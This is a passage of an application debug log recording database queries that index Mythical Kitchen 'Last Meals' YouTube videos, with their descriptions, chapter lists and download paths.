Olympics?\n38:07 What Do You Think Happens When You Die?\n39:21 Lightning Round\n42:38 Tony's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ (truncated) 20:49:32.362 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.363 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-08 10:00:21Z], 1] 20:49:32.365 [debug] QUERY OK source="media_items" db=2.3ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Serj Tankian is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Serj's Last Meal\n2:05 Filming With Anthony Bourdain\n4:29 1st Course\n5:44 Not A Fan Of Borders\n6:31 The Armenian Genocide & Generational Legacy\n7:47 Luck & Calamity\n9:09 Activist First, Rockstar Second\n10:09 Bad Presidents Make For Good Music\n11:20 Pros & Cons Of The Streaming Era\n12:41 Snipers At The Concert\n14:43 Tell The Truth No Matter What\n15:55 2nd Course\n17:40 Banana Terracotta Pie Surprise\n20:28 Musically Scored Painting\n23:09 Making Sense Of The Senseless\n28:00 3rd Course\n30:55 The Trauma Of Bombing\n32:37 Happiness Vs. Elation\n34:23 The Choice To Have Kids\n36:10 It's The Small Things\n36:46 What Do You Think Happens When You Die?\n38:04 Lightning Round\n40:37 Serj's Last Words & Reading Coffee Fortunes\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Serj Tankian Eats His Last Meal", "2f586657-910a-4679-bcf3-d212a0df0ca4", "https://www.youtube.com/watch?v=Mo5JVuW4_qk", false, "Mo5JVuW4_qk", 2559, false, 83, "/downloads/Last Meals/2024-10-08 Serj Tankian Eats His Last Meal/Serj Tankian Eats His Last Meal [Mo5JVuW4_qk].mp4", false, false, 1, [], 1, ~U[2024-10-08 10:00:21Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Serj Tankian is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Serj's Last Meal\n2:05 Filming With Anthony Bourdain\n4:29 1st Course\n5:44 Not A Fan Of Borders\n6:31 The Armenian Genocide & Generational Legacy\n7:47 Luck & Calamity\n9:09 Activist First, Rockstar Second\n10:09 Bad Presidents Make For Good Music\n11:20 Pros & Cons Of The Streaming Era\n12:41 Snipers At The Concert\n14:43 Tell The Truth No Matter What\n15:55 2nd Course\n17:40 Banana Terracotta Pie Surprise\n20:28 Musically Scored Painting\n23:09 Making Sense Of The Senseless\n28:00 3rd Course\n30:55 The Trauma Of Bombing\n32:37 Happiness Vs. Elation\n34:23 The Choice To Have Kids\n36:10 It's The Small Things\n36:46 What Do You Think Happens When You Die?\n38:04 Lightning Round\n40:37 Serj's Last Words & Reading Coffee Fortunes\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid li (truncated) 20:49:32.365 [debug] QUERY OK source="sources" db=0.0ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.366 [debug] QUERY OK source="media_items" db=0.0ms idle=3.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 11:00:55Z], 1] 20:49:32.366 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Doctor Mike eats his last meal.\n\nFollow Doctor Mike: https://www.youtube.com/@DoctorMike\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Doctor Mike's Last Meal\n0:25 How Josh Channeled Doctor Mike\n2:10 Have You Thought About Your Last Meal?\n3:09 How Often Do You Think About Death?\n4:45 1st Course\n5:53 Sweet Treat vs. Meat Treat\n8:22 Omakase Telling Mike's Life Story\n8:40 The Russian\n9:03 A 5-Year Old Pear Scammer\n10:56 The Healer\n13:18 The Fighter\n16:40 The Sexiest Doctor\n18:11 The Ferrari\n19:50 2nd Course\n21:11 Coming to America\n23:03 Costco vs. USSR\n25:23 No Excuses\n26:29 Medical System Turning Partisan\n28:25 Jubilee & Being a Healthy Skeptic\n30:46 Stop Dunking on the Internet\n31:33 3rd Course\n34:46 Losing Mom to Cancer\n37:11 How Medical Staff Behave Around Grief\n38:10 There Are Better Deaths Than Others\n40:30 Medical Science vs. Death Itself\n43:15 If This Happens, Switch Doctors!\n44:35 4th Course\n46:00 Being a Practicing Doctor vs. a Content Creator\n47:09 Miracles\n49:08 What Do You Think Happens When You Die?\n50:48 Lightning Round\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n54:18 Mike's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Doctor Mike Eats His Last Meal", "c295d858-4a34-4a0e-b17c-1776395152e8", "https://www.youtube.com/watch?v=XrIdECo9YSA", false, "XrIdECo9YSA", 3305, false, 84, "/downloads/Last Meals/2026-02-10 Doctor Mike Eats His Last Meal/Doctor Mike Eats His Last Meal [XrIdECo9YSA].mp4", false, false, 1, [], 1, ~U[2026-02-10 11:00:55Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Doctor Mike eats his last meal.\n\nFollow Doctor Mike: https://www.youtube.com/@DoctorMike\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Doctor Mike's Last Meal\n0:25 How Josh Channeled Doctor Mike\n2:10 Have You Thought About Your Last Meal?\n3:09 How Often Do You Think About Death?\n4:45 1st Course\n5:53 Sweet Treat vs. Meat Treat\n8:22 Omakase Telling Mike's Life Story\n8:40 The Russian\n9:03 A 5-Year Old Pear Scammer\n10:56 The Healer\n13:18 The Fighter\n16:40 The Sexiest Doctor\n18:11 The Ferrari\n19:50 2nd Course\n21:11 Coming to America\n23:03 Costco vs. USSR\n25:23 No Excuses\n26:29 Medical System Turning Partisan\n28:25 Jubilee & Being a Healthy Skeptic\n30:46 Stop Dunking on the Internet\n31:33 3rd Course\n34:46 Losing Mom to Cancer\n37:11 How Medical Staff Behave Around Grief\n38:10 There Are Better Deaths Than Others\n40:30 Medical Science vs. Death Itself\n43:15 If This Happens, Switch Doctors!\n44:35 4th Course\n46:00 Being a Practicing Doctor vs. a Content Creator\n47:09 Miracles\n49:08 What Do You Think Happens When You Die?\n50:48 Lightning Round\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n54:18 Mike's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Doctor Mike Eats His Last Meal", "https://www.youtube.com/watch?v=XrIdECo9YSA", "XrIdECo9YSA", 3305, false, "/downloads/Last Meals/2026-02-10 Doctor Mike Eats His Last Meal/Doctor Mike Eats His Last Meal [XrIdECo9YSA].mp4", false, 1, ~U[2026-02-10 11:00:55Z]] 20:49:32.366 [debug] QUERY OK source="sources" db=0.0ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.367 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 10:00:46Z], 1] 20:49:32.367 [debug] QUERY OK source="media_items" db=0.6ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Padma Lakshmi's last meal.\n\nCheck out Season 2 of Padma's Hulu series “Taste the Nation with Padma Lakshmi” as well as her feature in the new swimsuit issue of Sports Illustrated!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Padma Lakshmi Eats Her Last Meal", "2b6afacc-5b8a-4791-8e2d-a07164cfef67", "https://www.youtube.com/watch?v=scAcclzNz4g", false, "scAcclzNz4g", 1995, false, 85, "/downloads/Last Meals/2023-05-18 Padma Lakshmi Eats Her Last Meal/Padma Lakshmi Eats Her Last Meal [scAcclzNz4g].mp4", false, false, 1, [], 1, ~U[2023-05-18 10:00:46Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Padma Lakshmi's last meal.\n\nCheck out Season 2 of Padma's Hulu series “Taste the Nation with Padma Lakshmi” as well as her feature in the new swimsuit issue of Sports Illustrated!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Padma Lakshmi Eats Her Last Meal", "https://www.youtube.com/watch?v=scAcclzNz4g", "scAcclzNz4g", 1995, false, "/downloads/Last Meals/2023-05-18 Padma Lakshmi Eats Her Last Meal/Padma Lak (truncated) 20:49:32.368 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.368 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-29 11:01:28Z], 1] 20:49:32.368 [debug] QUERY OK source="media_items" db=0.4ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Jennette McCurdy eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - 